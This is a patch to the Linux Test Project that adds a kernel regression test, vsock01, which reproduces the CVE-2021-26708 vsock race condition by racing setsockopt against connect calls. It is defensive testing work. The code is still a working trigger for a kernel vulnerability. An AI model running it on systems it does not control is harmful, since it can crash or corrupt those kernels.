[LTP] [PATCH] vsock01, CVE-2021-26708: Add reproducer for race condition
Richard Palethorpe
rpalethorpe@suse.com
Fri Jul 2 14:35:33 CEST 2021
Also as this is the first VSOCK test, add the necessary bits to lapi
and configure.
Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
configure.ac | 1 +
include/lapi/vm_sockets.h | 14 +++
runtest/cve | 1 +
testcases/network/.gitignore | 1 +
testcases/network/sockets/Makefile | 1 +
testcases/network/sockets/vsock01.c | 129 ++++++++++++++++++++++++++++
6 files changed, 147 insertions(+)
create mode 100644 include/lapi/vm_sockets.h
create mode 100644 testcases/network/sockets/vsock01.c
diff --git a/configure.ac b/configure.ac
index eb675b367..1a43ebea8 100644
--- a/configure.ac
+++ b/configure.ac
@@ -79,6 +79,7 @@ AC_CHECK_HEADERS_ONCE([ \
])
AC_CHECK_HEADERS(fts.h, [have_fts=1])
AC_SUBST(HAVE_FTS_H, $have_fts)
+AC_CHECK_HEADERS(linux/vm_sockets.h, [], [], [#include <sys/socket.h>])
AC_CHECK_FUNCS_ONCE([ \
clone3 \
diff --git a/include/lapi/vm_sockets.h b/include/lapi/vm_sockets.h
new file mode 100644
index 000000000..94d0248c5
--- /dev/null
+++ b/include/lapi/vm_sockets.h
@@ -0,0 +1,14 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC <rpalethorpe@suse.com>
+ */
+
+#include <sys/socket.h>
+
+#if HAVE_LINUX_VM_SOCKETS_H
+# include <linux/vm_sockets.h>
+#endif
+
+#ifndef VMADDR_CID_LOCAL
+# define VMADDR_CID_LOCAL 1
+#endif
diff --git a/runtest/cve b/runtest/cve
index 9da58d524..5a6ef966d 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -63,3 +63,4 @@ cve-2020-14416 pty03
cve-2020-25705 icmp_rate_limit01
cve-2020-29373 io_uring02
cve-2021-3444 bpf_prog05
+cve-2021-26708 vsock01
diff --git a/testcases/network/.gitignore b/testcases/network/.gitignore
index dab2bc34e..c65113960 100644
--- a/testcases/network/.gitignore
+++ b/testcases/network/.gitignore
@@ -24,6 +24,7 @@
/sctp/sctp_big_chunk
/sockets/ltpClient
/sockets/ltpServer
+/sockets/vsock01
/stress/ns-tools/ns-icmp_redirector
/stress/ns-tools/ns-icmpv4_sender
/stress/ns-tools/ns-icmpv6_sender
diff --git a/testcases/network/sockets/Makefile b/testcases/network/sockets/Makefile
index 7d4c289d0..5d655b8be 100644
--- a/testcases/network/sockets/Makefile
+++ b/testcases/network/sockets/Makefile
@@ -10,4 +10,5 @@ INSTALL_TARGETS := *.sh
LDLIBS += -lpthread
+include $(top_srcdir)/include/mk/testcases.mk
include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/sockets/vsock01.c b/testcases/network/sockets/vsock01.c
new file mode 100644
index 000000000..fe05ee683
--- /dev/null
+++ b/testcases/network/sockets/vsock01.c
@@ -0,0 +1,129 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC <rpalethorpe@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Reproducer of CVE-2021-26708
+ *
+ * Based on POC https://github.com/jordan9001/vsock_poc
+ * Fuzzy Sync has been substituted for userfaultfd.
+ *
+ * Fixed by: c518adafa39f ("vsock: fix the race conditions in multi-transport support")
+ * Fixes: c0cfa2d8a788fcf4 ("vsock: add multi-transports support")
+ *
+ * Note that in many testing environments this will reproduce the race
+ * silently. For the test to produce visible errors the loopback
+ * transport should be registered, but not the g2h or h2g transports.
+ *
+ * One way to do this is to remove CONFIG_VIRTIO_VSOCKETS in the guest
+ * or CONFIG_VHOST_VSOCK on the host. Or just unload the
+ * modules. Alternatively run the test on a bare metal host which has
+ * never started a VM.
+ */
+
+#include "config.h"
+#include "tst_test.h"
+
+#if HAVE_LINUX_VM_SOCKETS_H
+# include "tst_fuzzy_sync.h"
+# include "lapi/vm_sockets.h"
+
+static struct tst_fzsync_pair pair;
+int vsock = -1;
+
+void *writer(LTP_ATTRIBUTE_UNUSED void *unused)
+{
+ const uint64_t b_buflen = 0x4141;
+
+ while (tst_fzsync_run_b(&pair)) {
+ tst_fzsync_start_race_b(&pair);
+ SAFE_SETSOCKOPT(vsock, AF_VSOCK,
+ SO_VM_SOCKETS_BUFFER_SIZE,
+ &b_buflen, sizeof(b_buflen));
+ tst_fzsync_end_race_b(&pair);
+ }
+
+
+ return NULL;
+}
+
+static void run(void)
+{
+ struct sockaddr_vm addr = { 0 };
+ const struct timeval timeout = { 0, 1 };
+ const uint64_t a_buflen = 0x4140;
+
+ vsock = SAFE_SOCKET(AF_VSOCK, SOCK_STREAM, 0);
+ SAFE_SETSOCKOPT(vsock, AF_VSOCK, SO_VM_SOCKETS_CONNECT_TIMEOUT,
+ &timeout, sizeof(timeout));
+
+ tst_res(TINFO, "Colliding transport change and setsockopt");
+ tst_fzsync_pair_reset(&pair, writer);
+ while (tst_fzsync_run_a(&pair)) {
+
+ addr.svm_family = AF_VSOCK;
+ addr.svm_port = 1234;
+ addr.svm_cid = VMADDR_CID_LOCAL;
+
+ if (!connect(vsock, (struct sockaddr *)&addr, sizeof(addr)))
+ tst_brk(TCONF, "Connected to something on VSOCK loopback");
+
+ if (errno == ENODEV)
+ tst_brk(TCONF | TERRNO, "No loopback transport");
+
+ SAFE_SETSOCKOPT(vsock, AF_VSOCK,
+ SO_VM_SOCKETS_BUFFER_SIZE,
+ &a_buflen, sizeof(a_buflen));
+
+ addr.svm_family = AF_VSOCK;
+ addr.svm_port = 5678;
+ addr.svm_cid = VMADDR_CID_HOST + 3;
+
+ tst_fzsync_start_race_a(&pair);
+ TEST(connect(vsock, (struct sockaddr *)&addr, sizeof(addr)));
+ tst_fzsync_end_race_a(&pair);
+
+ if (!TST_RET) {
+ tst_brk(TCONF,
+ "g2h or h2g transport exists and we connected to something");
+ }
+ }
+
+ SAFE_CLOSE(vsock);
+ tst_res(TPASS, "Nothing bad happened, probably.");
+}
+
+static void cleanup(void)
+{
+ tst_fzsync_pair_cleanup(&pair);
+}
+
+static void setup(void)
+{
+ tst_fzsync_pair_init(&pair);
+}
+
+static struct tst_test test = {
+ .test_all = run,
+ .setup = setup,
+ .cleanup = cleanup,
+ .taint_check = TST_TAINT_W | TST_TAINT_D,
+ .needs_kconfigs = (const char *[]) {
+ "CONFIG_VSOCKETS_LOOPBACK",
+ NULL
+ },
+ .tags = (const struct tst_tag[]) {
+ {"linux-git", "c518adafa39f"},
+ {"CVE", "CVE-2021-26708"},
+ {}
+ },
+};
+
+#else
+
+TST_TEST_TCONF("No linux/vm_sockets.h");
+
+#endif
--
2.31.1
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